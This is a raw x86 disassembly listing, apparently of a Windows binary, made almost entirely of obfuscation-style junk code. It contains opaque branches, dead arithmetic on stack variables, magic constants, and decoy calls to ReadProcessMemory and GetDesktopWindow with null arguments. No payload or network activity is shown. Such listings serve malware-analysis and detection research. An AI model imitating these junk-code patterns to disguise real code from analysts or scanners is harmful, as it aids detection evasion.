and dword [ebp - 0xd64], 0
mov eax, dword [ebp - 0x97c]
imul eax, dword [ebp - 0xd64]
cmp eax, dword [ebp - 0x4f4]
jge 0x468f38
mov dword [ebp - 0x1c8c], 1
jmp 0x468f3f
and dword [ebp - 0x1c8c], 0
cmp dword [ebp - 0x1c8c], 0xfffffffb
jl 0x468f54
mov dword [ebp - 0x2328], 1
jmp 0x468f5b
and dword [ebp - 0x2328], 0
mov eax, dword [ebp - 0x97c]
mov dword [ebp - 0x2f90], eax
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x32b8], eax
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x2f98], eax
cmp dword [ebp - 0x4f4], 6
jae 0x468f94
mov dword [ebp - 0xd6c], 1
jmp 0x468f9b
and dword [ebp - 0xd6c], 0
mov eax, dword [ebp - 0x97c]
cmp dword [ebp - 0xd6c], eax
jle 0x468fb5
mov dword [ebp - 0x1c94], 1
jmp 0x468fbc
and dword [ebp - 0x1c94], 0
mov eax, dword [ebp - 0x2330]
cmp dword [ebp - 0x1c94], eax
jle 0x468fd6
mov dword [ebp - 0xd74], 1
jmp 0x468fdd
and dword [ebp - 0xd74], 0
mov eax, dword [ebp - 0x4f4]
cmp dword [ebp - 0xd74], eax
jge 0x468ff7
mov dword [ebp - 0x1c9c], 1
jmp 0x468ffe
and dword [ebp - 0x1c9c], 0
mov eax, dword [ebp - 0x1c9c]
mov dword [ebp - 0x2338], eax
jmp 0x468e81
push 4
lea ecx, [ebp - 0x2a60]
call fcn.00430cb0
push 2
lea ecx, [ebp - 0x2b08]
call fcn.00430cb0
mov dword [ebp - 0x70], 0
jmp 0x469039
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x469055
push dword [ebp - 0x70]
lea ecx, [ebp - 0x2a60]
call fcn.00430d9e
mov dword [eax], 0x20f8
jmp 0x469032
mov dword [ebp - 0x70], 0
jmp 0x469065
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x46907b
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x3608], 1
jmp 0x46905e
mov dword [ebp - 0x70], 0
jmp 0x46908b
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x4690a4
push dword [ebp - 0x70]
lea ecx, [ebp - 0x2b08]
call fcn.00430d9e
or dword [eax], 0xffffffff
jmp 0x469084
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x3608], 1
mov eax, 0xc3ad3b31
cmp eax, 1
jb 0x4690ca
mov dword [ebp - 0xd7c], 1
jmp 0x4690d1
and dword [ebp - 0xd7c], 0
push 2
lea ecx, [ebp - 0x2a60]
call fcn.00430d9e
mov esi, dword [eax]
imul esi, dword [ebp - 0xd7c]
push 0
lea ecx, [ebp - 0x2b08]
call fcn.00430d9e
mov dword [eax], esi
lea ecx, [ebp - 0x2b08]
call fcn.00430d82
lea ecx, [ebp - 0x2a60]
call fcn.00430d82
mov byte [ebp - 0x403], 0
mov dword [ebp - 0x300], 0x7862fd41
mov dword [ebp - 0x300], 0xb
jmp 0x469136
mov eax, dword [ebp - 0x300]
dec eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0xffffffeb
jg 0x46940b
mov dword [ebp - 0x674], 0x70ade21
mov dword [ebp - 0x308], 0xffffffff
push 2
lea ecx, [ebp - 0x2480]
call fcn.00430cb0
push 1
lea ecx, [ebp - 0x2b68]
call fcn.00430cb0
mov dword [ebp - 0x1b4], 0
jmp 0x46918a
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 2
jge 0x4691ac
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x2480]
call fcn.00430d9e
mov dword [eax], 0xfc3a065c
jmp 0x46917d
mov dword [ebp - 0x1b4], 0
jmp 0x4691c5
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 1
jge 0x4691e7
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x2b68]
call fcn.00430d9e
mov dword [eax], 0x64d07ddb
jmp 0x4691b8
mov dword [ebp - 0x674], 0
jmp 0x469200
mov eax, dword [ebp - 0x674]
inc eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 0xd
jl 0x4693b8
push 3
lea ecx, [ebp - 0x2470]
call fcn.00430cb0
mov dword [ebp - 0x2350], 0xbbd18838
mov dword [ebp - 0x7c0], 0
jmp 0x46923d
mov eax, dword [ebp - 0x7c0]
inc eax
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 3
jge 0x46925f
push dword [ebp - 0x7c0]
lea ecx, [ebp - 0x2470]
call fcn.00430d9e
mov dword [eax], 5
jmp 0x469230
push 1
lea ecx, [ebp - 0x2470]
call fcn.00430d9e
mov dword [eax], 0x17
jmp 0x469298
push 1
lea ecx, [ebp - 0x2470]
call fcn.00430d9e
mov dword [ebp - 0x1ca4], eax
mov eax, dword [ebp - 0x1ca4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1ca4]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x2470]
call fcn.00430d9e
cmp dword [eax], 0x17
jne 0x4693a8
mov dword [ebp - 0x1cac], 0xfffffffb
mov eax, dword [ebp - 0x300]
cmp dword [ebp - 0x1cac], eax
jne 0x4692d2
mov dword [ebp - 0xd84], 1
jmp 0x4692d9
and dword [ebp - 0xd84], 0
mov eax, 0xbef
sub eax, dword [ebp - 0xd84]
cmp eax, dword [ebp - 0x308]
jg 0x4692f8
mov dword [ebp - 0x2340], 1
jmp 0x4692ff
and dword [ebp - 0x2340], 0
push 0
lea ecx, [ebp - 0x2480]
call fcn.00430d9e
mov ecx, dword [ebp - 0x1cac]
add ecx, 8
mov eax, dword [eax]
add eax, ecx
mov dword [ebp - 0xd8c], eax
push 0
lea ecx, [ebp - 0x2b68]
call fcn.00430d9e
mov ecx, dword [ebp - 0xd8c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x300]
cmp dword [ebp - 0xd8c], eax
je 0x46934e
mov dword [ebp - 0x2348], 1
jmp 0x469355
and dword [ebp - 0x2348], 0
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0x2c24], eax
cmp dword [ebp - 0x300], 0xf355c0c8
ja 0x469379
mov dword [ebp - 0x1cb4], 1
jmp 0x469380
and dword [ebp - 0x1cb4], 0
mov eax, dword [ebp - 0x1cb4]
mov dword [ebp - 0x2350], eax
push 0
lea ecx, [ebp - 0x2480]
call fcn.00430d9e
cmp dword [eax], 0
je 0x4693a3
jmp 0x469274
jmp 0x469274
lea ecx, [ebp - 0x2470]
call fcn.00430d82
jmp 0x4691f3
mov dword [ebp - 0x308], 0
jmp 0x4693d1
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 2
jge 0x4693f0
push dword [ebp - 0x308]
lea ecx, [ebp - 0x2480]
call fcn.00430d9e
and dword [eax], 0
jmp 0x4693c4
lea ecx, [ebp - 0x2b68]
call fcn.00430d82
lea ecx, [ebp - 0x2480]
call fcn.00430d82
jmp 0x469129
movzx eax, byte [ebp - 0x403]
test eax, eax
je 0x469688
push 2
lea ecx, [ebp - 0xb98]
call fcn.00430cb0
mov dword [ebp - 0x1cbc], 0xfffffff8
mov dword [ebp - 0xdb4], 0
mov dword [ebp - 0x2360], 0x4abc2489
mov dword [ebp - 0x144], 0
jmp 0x46945e
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 2
jge 0x469480
push dword [ebp - 0x144]
lea ecx, [ebp - 0xb98]
call fcn.00430d9e
mov dword [eax], 0x4ccb63e8
jmp 0x469451
mov dword [ebp - 0x144], 0
jmp 0x469499
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 1
jge 0x4694b5
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x2358], 0
jmp 0x46948c
push 0
lea ecx, [ebp - 0xb98]
call fcn.00430d9e
cmp dword [eax], 0x76fd1058
je 0x4694d6
mov dword [ebp - 0x1ccc], 1
jmp 0x4694dd
and dword [ebp - 0x1ccc], 0
push 0
lea ecx, [ebp - 0xb98]
call fcn.00430d9e
cmp dword [eax], 0
jne 0x46950a
push 1
lea ecx, [ebp - 0xb98]
call fcn.00430d9e
cmp dword [eax], 0
jne 0x46950a
and dword [ebp - 0xd94], 0
jmp 0x469514
mov dword [ebp - 0xd94], 1
push 0
lea ecx, [ebp - 0xb98]
call fcn.00430d9e
mov ecx, dword [ebp - 0xd94]
cmp ecx, dword [eax]
jg 0x469537
mov dword [ebp - 0xa8c], 1
jmp 0x46953e
and dword [ebp - 0xa8c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa8c]
mov dword [ebp + eax - 0x2358], ecx
mov eax, dword [ebp - 0xa8c]
mov dword [ebp - 0x1cbc], eax
cmp dword [ebp - 0x1cbc], 0
jne 0x469574
xor eax, eax
inc eax
jne 0x469574
and dword [ebp - 0xd9c], 0
jmp 0x46957e
mov dword [ebp - 0xd9c], 1
cmp dword [ebp - 0xd9c], 0
jle 0x469593
mov dword [ebp - 0x1cc4], 1
jmp 0x46959a
and dword [ebp - 0x1cc4], 0
push 1
lea ecx, [ebp - 0xb98]
call fcn.00430d9e
mov ecx, dword [ebp - 0x1cc4]
cmp ecx, dword [eax]
je 0x4695bd
mov dword [ebp - 0xda4], 1
jmp 0x4695c4
and dword [ebp - 0xda4], 0
imul eax, dword [ebp - 0xda4], 0
cmp dword [ebp - 0x1ccc], eax
jne 0x4695df
mov dword [ebp - 0xdac], 1
jmp 0x4695e6
and dword [ebp - 0xdac], 0
push 0
lea ecx, [ebp - 0xb98]
call fcn.00430d9e
mov ecx, dword [ebp - 0xdac]
cmp ecx, dword [eax]
jl 0x469609
mov dword [ebp - 0x1cd4], 1
jmp 0x469610
and dword [ebp - 0x1cd4], 0
mov eax, dword [ebp - 0x1cd4]
mov dword [ebp - 0xdb4], eax
mov esi, dword [ebp - 0xdb4]
push 0
lea ecx, [ebp - 0xb98]
call fcn.00430d9e
cmp esi, dword [eax]
je 0x46964e
push 1
lea ecx, [ebp - 0xb98]
call fcn.00430d9e
cmp dword [eax], 0
jne 0x46964e
and dword [ebp - 0x1cdc], 0
jmp 0x469658
mov dword [ebp - 0x1cdc], 1
mov eax, dword [ebp - 0x1cdc]
mov dword [ebp - 0x2360], eax
lea ecx, [ebp - 0xb98]
call fcn.00430d82
push 0
push 0xe3f
push 0x23b9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
jmp 0x468e08
jmp 0x468d45
jmp 0x468d1f
lea ecx, [ebp - 0x2a78]
call fcn.00430d82
mov dword [ebp - 0x574], 0xac204e2
mov dword [ebp - 0x984], 0
mov dword [ebp - 0x288], 0xc65b0b56
mov dword [ebp - 0x2c28], 3
mov dword [ebp - 0x2c30], 1
mov dword [ebp - 0x2c38], 5
mov dword [ebp - 0xe1c], 0xe94ccb09
push 2
lea ecx, [ebp - 0x306c]
call fcn.00430cb0
mov dword [ebp - 0x20c], 0
jmp 0x46970e
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 2
jge 0x469730
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x306c]
call fcn.00430d9e
mov dword [eax], 0xc33bab72
jmp 0x469701
mov dword [ebp - 0x20c], 0
jmp 0x469749
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 2
jge 0x469765
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0x1e88], 7
jmp 0x46973c
mov dword [ebp - 0x574], 0
jmp 0x46977e
mov eax, dword [ebp - 0x574]
inc eax
mov dword [ebp - 0x574], eax
cmp dword [ebp - 0x574], 0x1d
jg 0x469981
mov dword [ebp - 0x4fc], 0
push 3
lea ecx, [ebp - 0x305c]
call fcn.00430cb0
mov dword [ebp - 0x67c], 0
jmp 0x4697bb
mov eax, dword [ebp - 0x67c]
inc eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 3
jge 0x4697dd
push dword [ebp - 0x67c]
lea ecx, [ebp - 0x305c]
call fcn.00430d9e
mov dword [eax], 2
jmp 0x4697ae
mov dword [ebp - 0x4fc], 0xfffffffb
jmp 0x4697f6
mov eax, dword [ebp - 0x4fc]
dec eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 0xfffffff5
jge 0x469971
mov dword [ebp - 0x5b4], 0x290be443
mov dword [ebp - 0xdbc], 0
mov dword [ebp - 0x2368], 0xffffffff
push 2
lea ecx, [ebp - 0x304c]
call fcn.00430cb0
mov dword [ebp - 0x1cf4], 1
mov dword [ebp - 0x860], 0
jmp 0x469851
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
cmp dword [ebp - 0x860], 2
jge 0x469870
push dword [ebp - 0x860]
lea ecx, [ebp - 0x304c]
call fcn.00430d9e
or dword [eax], 0xffffffff
jmp 0x469844
mov dword [ebp - 0x5b4], 0
jmp 0x469889
mov eax, dword [ebp - 0x5b4]
dec eax
mov dword [ebp - 0x5b4], eax
cmp dword [ebp - 0x5b4], 0xfffffffd
jne 0x469954
mov dword [ebp - 0xb14], 0x6436
mov dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x984]
mov dword [ebp - 0x2c40], eax
imul eax, dword [ebp - 0xdbc], 0
test eax, eax
jne 0x469912
mov eax, dword [ebp - 0xdbc]
cmp dword [ebp - 0x574], eax
cmp dword [ebp - 0x4fc], 0
jne 0x4698f1
cmp dword [ebp - 0xb14], 0
jne 0x4698f1
cmp dword [ebp - 0xb14], 0
jne 0x4698f1
and dword [ebp - 0x1ce4], 0
jmp 0x4698fb
mov dword [ebp - 0x1ce4], 1
mov eax, dword [ebp - 0x984]
cmp dword [ebp - 0x1ce4], eax
jl 0x469912
and dword [ebp - 0xdc4], 0
jmp 0x46991c
mov dword [ebp - 0xdc4], 1
mov eax, dword [ebp - 0x5b4]
add eax, dword [ebp - 0xdc4]
cmp eax, dword [ebp - 0xb14]
jg 0x46993c
mov dword [ebp - 0x1cec], 1
jmp 0x469943
and dword [ebp - 0x1cec], 0
mov eax, dword [ebp - 0x1cec]
mov dword [ebp - 0x2368], eax
jmp 0x46987c
mov eax, dword [ebp - 0x1cf4]
dec eax
mov dword [ebp - 0x1cf4], eax
lea ecx, [ebp - 0x304c]
call fcn.00430d82
jmp 0x4697e9
lea ecx, [ebp - 0x305c]
call fcn.00430d82
jmp 0x469771
mov dword [ebp - 0x288], 1
jmp 0x46999a
mov eax, dword [ebp - 0x288]
dec eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0
jl 0x469a4d
mov dword [ebp - 0xe6c], 1
mov dword [ebp - 0x2370], 8
mov eax, dword [ebp - 0x288]
mov eax, dword [ebp + eax*4 - 0x1e88]
mov dword [ebp - 0x2c48], eax
mov eax, dword [ebp - 0x288]
mov eax, dword [ebp + eax*4 - 0x1e88]
mov dword [ebp - 0x2c50], eax
mov eax, dword [ebp - 0x288]
cmp dword [ebp + eax*4 - 0x1e88], 0xdc09
je 0x469a00
mov dword [ebp - 0xe7c], 1
jmp 0x469a07
and dword [ebp - 0xe7c], 0
mov eax, dword [ebp - 0xe7c]
mov dword [ebp - 0xe6c], eax
mov eax, dword [ebp - 0xe1c]
mov dword [ebp - 0x2c58], eax
mov eax, dword [ebp - 0xe6c]
mov dword [ebp - 0x2c60], eax
mov eax, dword [ebp - 0x288]
imul eax, dword [ebp + eax*4 - 0x1e88], 0x9505
add eax, dword [ebp - 0xe1c]
mov dword [ebp - 0x2370], eax
jmp 0x46998d
lea ecx, [ebp - 0x306c]
call fcn.00430d82
cmp dword [ebp + 8], 2
jl 0x478405
mov dword [ebp - 0x504], 0x8974b666
mov dword [ebp - 0x57c], 0x3367f5ed
mov dword [ebp - 0x310], 0
push 2
lea ecx, [ebp - 0xbcc]
call fcn.00430cb0
mov dword [ebp - 0x7c8], 0x3ba20b95
mov dword [ebp - 0x68c], 0
mov dword [ebp - 0x27fc], 0x510a7412
mov dword [ebp - 0x27f8], 0x510a7412
mov dword [ebp - 0x27f4], 0x510a7412
mov dword [ebp - 0x27f0], 0x510a7412
lea ecx, [ebp - 0x941]
call fcn.00430dad
push eax
lea eax, [ebp - 0x27ec]
push eax
lea eax, [ebp - 0x27fc]
push eax
lea ecx, [ebp - 0x3560]
call fcn.00430db0
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2b20]
call fcn.00430d5c
mov dword [ebp - 0x2390], 1
mov dword [ebp - 0x684], 0
jmp 0x469b21
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 2
jge 0x469b43
push dword [ebp - 0x684]
lea ecx, [ebp - 0xbcc]
call fcn.00430d9e
mov dword [eax], 0xfffffffe
jmp 0x469b14
mov eax, dword [ebp - 0x7c8]
inc eax
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x57c]
cmp dword [ebp - 0x504], eax
je 0x469b6a
mov dword [ebp - 0x2378], 1
jmp 0x469b71
and dword [ebp - 0x2378], 0
push 1
lea ecx, [ebp - 0xbcc]
call fcn.00430d9e
push 0
lea ecx, [ebp - 0xbcc]
call fcn.00430d9e
cmp dword [eax], 0x6081
jge 0x469b9f
mov dword [ebp - 0x98c], 1
jmp 0x469ba6
and dword [ebp - 0x98c], 0
push 0
lea ecx, [ebp - 0xbcc]
call fcn.00430d9e
mov ecx, dword [ebp - 0x98c]
mov dword [eax], ecx
cmp dword [ebp - 0x98c], 0x3d6c
jge 0x469bd3
mov dword [ebp - 0x15d8], 1
jmp 0x469bda
and dword [ebp - 0x15d8], 0
mov eax, dword [ebp - 0x15d8]
sub eax, dword [ebp - 0x68c]
add eax, dword [ebp - 0x504]
mov eax, dword [ebp - 0x57c]
cmp dword [ebp - 0x310], eax
jge 0x469c15
push 0
lea ecx, [ebp - 0xbcc]
call fcn.00430d9e
cmp dword [eax], 0
jne 0x469c15
and dword [ebp - 0x2380], 0
jmp 0x469c1f
mov dword [ebp - 0x2380], 1
cmp dword [ebp - 0x310], 0xbbe2
jl 0x469c37
mov dword [ebp - 0xde8], 1
jmp 0x469c3e
and dword [ebp - 0xde8], 0
cmp dword [ebp - 0xde8], 1
jge 0x469c62
push 0
lea ecx, [ebp - 0xbcc]
call fcn.00430d9e
cmp dword [eax], 0
jne 0x469c62
and dword [ebp - 0x1bd0], 0
jmp 0x469c6c
mov dword [ebp - 0x1bd0], 1
mov eax, dword [ebp - 0x1bd0]
neg eax
cmp eax, dword [ebp - 0x504]
je 0x469c88
mov dword [ebp - 0x2388], 1
jmp 0x469c8f
and dword [ebp - 0x2388], 0
mov eax, dword [ebp - 0x7c8]
mov dword [ebp - 0x2c68], eax
cmp dword [ebp - 0x310], 0
je 0x469cb9
cmp dword [ebp - 0x504], 0
je 0x469cb9
mov dword [ebp - 0xdf0], 1
jmp 0x469cc0
and dword [ebp - 0xdf0], 0
mov eax, dword [ebp - 0xdf0]
inc eax
jne 0x469cd5
mov dword [ebp - 0x15e0], 1
jmp 0x469cdc
and dword [ebp - 0x15e0], 0
mov eax, dword [ebp - 0x15e0]
mov dword [ebp - 0x57c], eax
mov esi, dword [ebp - 0x68c]
mov edi, dword [ebp - 0x310]
push 3
lea ecx, [ebp - 0x2b20]
call fcn.00430d9e
imul edi, dword [eax]
cmp esi, edi
je 0x469d14
mov dword [ebp - 0xdf8], 1
jmp 0x469d1b
and dword [ebp - 0xdf8], 0
push 0
lea ecx, [ebp - 0xbcc]
call fcn.00430d9e
mov ecx, dword [ebp - 0xdf8]
cmp ecx, dword [eax]
jl 0x469d3e
mov dword [ebp - 0x19d8], 1
jmp 0x469d45
and dword [ebp - 0x19d8], 0
mov eax, dword [ebp - 0x7c8]
cmp dword [ebp - 0x19d8], eax
je 0x469d65
mov eax, 0x6f73
test eax, eax
jne 0x469d65
and dword [ebp - 0xe00], 0
jmp 0x469d6f
mov dword [ebp - 0xe00], 1
mov eax, dword [ebp - 0xe00]
sub eax, dword [ebp - 0x2390]
sub eax, 5
cmp dword [ebp - 0x310], eax
jle 0x469d92
mov dword [ebp - 0x15e8], 1
jmp 0x469d99
and dword [ebp - 0x15e8], 0
mov eax, dword [ebp - 0x15e8]
sub eax, dword [ebp - 0x68c]
jne 0x469db3
mov dword [ebp - 0xe08], 1
jmp 0x469dba
and dword [ebp - 0xe08], 0
mov eax, dword [ebp - 0xe08]
mov dword [ebp - 0x310], eax
mov esi, dword [ebp - 0x57c]
sub esi, dword [ebp - 0x310]
push 3
lea ecx, [ebp - 0x2b20]
call fcn.00430d9e
cmp esi, dword [eax]
jne 0x469def
mov dword [ebp - 0x1cd0], 1
jmp 0x469df6
and dword [ebp - 0x1cd0], 0
mov eax, dword [ebp - 0x504]
cmp dword [ebp - 0x1cd0], eax
jge 0x469e10
mov dword [ebp - 0xe10], 1
jmp 0x469e17
and dword [ebp - 0xe10], 0
mov eax, dword [ebp - 0x68c]
cmp dword [ebp - 0xe10], eax
jle 0x469e31
mov dword [ebp - 0x15f0], 1
jmp 0x469e38
and dword [ebp - 0x15f0], 0
mov eax, dword [ebp - 0x57c]
cmp eax, dword [ebp - 0x15f0]
jg 0x469e52
mov dword [ebp - 0xe18], 1
jmp 0x469e59
and dword [ebp - 0xe18], 0
push 0
lea ecx, [ebp - 0xbcc]
call fcn.00430d9e
mov ecx, dword [ebp - 0xe18]
mov dword [eax], ecx
lea ecx, [ebp - 0x2b20]
call fcn.00430d82
lea ecx, [ebp - 0xbcc]
call fcn.00430d82
mov dword [ebp - 0x250], 0
push 4
lea ecx, [ebp - 0x2a90]
call fcn.00430cb0
mov dword [ebp - 0x19e0], 0xfffffff8
mov dword [ebp - 0x8b0], 0
jmp 0x469ebe
mov eax, dword [ebp - 0x8b0]
inc eax
mov dword [ebp - 0x8b0], eax
cmp dword [ebp - 0x8b0], 4
jge 0x469ee0
push dword [ebp - 0x8b0]
lea ecx, [ebp - 0x2a90]
call fcn.00430d9e
mov dword [eax], 0xfdbd0176
jmp 0x469eb1
mov dword [ebp - 0x250], 0x1c
jmp 0x469ef9
mov eax, dword [ebp - 0x250]
dec eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x16
jge 0x46a01f
mov dword [ebp - 0xa94], 7
mov dword [ebp - 0x694], 0x6fe6d39c
mov dword [ebp - 0x23a8], 0xe40424b9
mov eax, dword [ebp - 0x694]
mov dword [ebp - 0xe20], eax
push 0
lea ecx, [ebp - 0x2a90]
call fcn.00430d9e
mov ecx, dword [ebp - 0xe20]
mov dword [eax], ecx
mov dword [ebp - 0x19e0], 0
mov eax, dword [ebp - 0x19e0]
add eax, dword [ebp - 0xe20]
jne 0x469f69
mov dword [ebp - 0x2398], 1
jmp 0x469f70
and dword [ebp - 0x2398], 0
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0xa94], eax
mov eax, dword [ebp - 0xa94]
mov dword [ebp - 0x2c70], eax
cmp dword [ebp - 0x694], 0
jne 0x469f9a
cmp dword [ebp - 0x694], 0
je 0x469faf
mov eax, 0x78c9
test eax, eax
je 0x469faf
mov dword [ebp - 0x15f8], 1
jmp 0x469fb6
and dword [ebp - 0x15f8], 0
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x250]
add ecx, dword [ebp - 0x15f8]
add eax, ecx
imul eax, dword [ebp - 0x694]
test eax, eax
jne 0x469fe3
or eax, 0xffffffff
jne 0x469fe3
and dword [ebp - 0x23a0], 0
jmp 0x469fed
mov dword [ebp - 0x23a0], 1
mov eax, dword [ebp - 0x250]
cmp dword [ebp - 0xa94], eax
jg 0x46a007
mov dword [ebp - 0xe28], 1
jmp 0x46a00e
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0xe28]
mov dword [ebp - 0x23a8], eax
jmp 0x469eec
mov byte [ebp - 0x379], 0
movzx eax, byte [ebp - 0x379]
test eax, eax
je 0x46a044
push 0
push 0xcbe
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [ebp - 0x2a90]
call fcn.00430d82
push 4
lea ecx, [ebp - 0x600]
call fcn.00430cb0
mov dword [ebp - 0x2a8], 0xbbd4856c
mov dword [ebp - 0x289c], 0x8566
mov dword [ebp - 0x2898], 0x8566
mov dword [ebp - 0x2894], 0x8566
mov dword [ebp - 0x2890], 0x8566
lea ecx, [ebp - 0xb69]
call fcn.00430dad
push eax
lea eax, [ebp - 0x288c]
push eax
lea eax, [ebp - 0x289c]
push eax
lea ecx, [ebp - 0x3570]
call fcn.00430db0
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2994]
call fcn.00430d5c
mov dword [ebp - 0x19f0], 0xfffffff6
mov dword [ebp - 0x23c0], 0xee1e3c1d
mov dword [ebp - 0xb50], 0xfffffffe
mov dword [ebp - 0x14c], 0
jmp 0x46a0fa
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 4
jge 0x46a119
push dword [ebp - 0x14c]
lea ecx, [ebp - 0x600]
call fcn.00430d9e
or dword [eax], 0xffffffff
jmp 0x46a0ed
mov dword [ebp - 0x14c], 0
jmp 0x46a132
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 1
jge 0x46a14b
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0xc], 0xe1e87df2
jmp 0x46a125
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xc], 0
jmp 0x46a170
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc], 3
jg 0x46a7ee
mov dword [ebp - 0x50c], 0xbef7d651
push 1
lea ecx, [ebp - 0x267c]
call fcn.00430cb0
mov dword [ebp - 0x1d50], 0xa8dad4f6
mov dword [ebp - 0x23b8], 0
mov dword [ebp - 0x7d0], 0
jmp 0x46a1c5
lea ecx, [ebp - 0x2994]
call fcn.00430d82
lea ecx, [ebp - 0x600]
call fcn.00430d82
mov dword [ebp - 0x440], 1
mov dword [ebp - 0x1c], 1
push 4
lea ecx, [ebp - 0x908]
call fcn.00430cb0
mov dword [ebp - 0x290], 0xfffffff8
mov dword [ebp - 0x1648], 0xdd5d57d3
mov dword [ebp - 0x69c], 0
jmp 0x46a84f
cmp dword [ebp + 8], 1
jne 0x47c501
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0x9c0], 4
mov dword [ebp - 0x9c8], 0xfbf2b83
mov dword [ebp - 0x33a0], 9
mov dword [ebp - 0x770], 0
jmp 0x47844d
mov eax, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 3
jge 0x478469
mov eax, dword [ebp - 0x770]
mov dword [ebp + eax*4 - 0x1e38], 1
jmp 0x478440
cmp dword [ebp - 8], 0
jne 0x478533
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2cac], eax
cmp dword [ebp - 8], 0x3fd5
jne 0x478491
mov dword [ebp - 0x13c4], 1
jmp 0x478498
and dword [ebp - 0x13c4], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 8]
cmp eax, dword [ebp - 8]
je 0x4784b3
mov dword [ebp - 0x13cc], 1
jmp 0x4784ba
and dword [ebp - 0x13cc], 0
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x13cc]
cmp eax, 1
jl 0x4784cf
cmp dword [ebp - 0x9c0], 0
cmp dword [ebp - 8], 0xfffffffc
jae 0x4784e1
mov dword [ebp - 0x228c], 1
jmp 0x4784e8
and dword [ebp - 0x228c], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2fe0], eax
cmp dword [ebp - 8], 0
jne 0x4784fd
cmp dword [ebp - 8], 0
je 0x47850f
cmp dword [ebp - 8], 0
je 0x47850f
mov dword [ebp - 0x13d4], 1
jmp 0x478516
and dword [ebp - 0x13d4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1e38]
cmp dword [ebp - 0x13d4], eax
jge 0x478533
and dword [ebp - 0x13dc], 0
jmp 0x47853d
mov dword [ebp - 0x13dc], 1
mov eax, dword [ebp - 0x13dc]
mov dword [ebp - 0x9c8], eax
mov eax, dword [ebp - 0x9c8]
push 4
pop ecx
shl ecx, 1
sub eax, dword [ebp + ecx - 0x1e38]
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0x1e38]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x1e38]
jne 0x478583
mov dword [ebp - 0x13e4], 1
jmp 0x47858a
and dword [ebp - 0x13e4], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x13e4]
jge 0x4785a1
mov dword [ebp - 0x13ec], 1
jmp 0x4785a8
and dword [ebp - 0x13ec], 0
mov eax, dword [ebp - 0x13ec]
sub eax, dword [ebp - 0x9c0]
cmp eax, dword [ebp - 0x9c0]
jge 0x4785c8
mov dword [ebp - 0x13f4], 1
jmp 0x4785cf
and dword [ebp - 0x13f4], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x13f4], eax
